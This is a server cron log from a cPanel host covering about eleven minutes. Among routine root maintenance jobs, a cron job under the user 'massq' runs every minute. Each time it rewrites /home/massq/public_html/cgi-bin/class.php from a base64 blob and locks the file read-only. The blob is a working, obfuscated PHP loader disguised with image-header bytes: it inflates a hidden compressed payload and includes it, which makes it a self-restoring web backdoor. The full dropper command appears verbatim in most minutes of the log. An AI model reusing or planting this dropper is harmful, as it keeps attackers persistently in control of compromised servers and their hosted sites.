Sep  6 14:49:01 server CROND[25151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:49:01 server CROND[25154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:50:01 server CROND[25543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:50:01 server CROND[25544]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:50:01 server CROND[25545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:50:01 server CROND[25553]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 14:50:01 server CROND[25555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:50:01 server CROND[25563]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:50:01 server CROND[25566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:50:01 server CROND[25564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:50:01 server CROND[25561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:51:01 server CROND[26377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:51:01 server CROND[26378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:51:01 server CROND[26379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:52:01 server CROND[26755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:52:01 server CROND[26756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:52:01 server CROND[26757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:53:01 server CROND[27130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:53:01 server CROND[27131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:53:01 server CROND[27132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:54:01 server CROND[27595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:54:01 server CROND[27596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:54:01 server CROND[27597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:55:01 server CROND[27979]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 14:55:01 server CROND[27983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:55:01 server CROND[27986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:55:01 server CROND[27984]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 14:55:01 server CROND[27987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:55:01 server CROND[27985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:55:01 server CROND[27988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:56:01 server CROND[28802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:56:01 server CROND[28803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:56:01 server CROND[28804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:57:01 server CROND[29167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:57:01 server CROND[29168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:57:01 server CROND[29169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:57:01 server CROND[29171]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 14:58:01 server CROND[29549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 14:58:01 server CROND[29548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:58:01 server CROND[29550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:59:01 server CROND[29923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:59:01 server CROND[29924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:59:01 server CROND[29925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:00:01 server CROND[30371]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:00:01 server CROND[30373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 15:00:01 server CROND[30377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 15:00:01 server CROND[30379]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 15:00:01 server CROND[30383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:00:01 server CROND[30382]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 15:00:01 server CROND[30389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
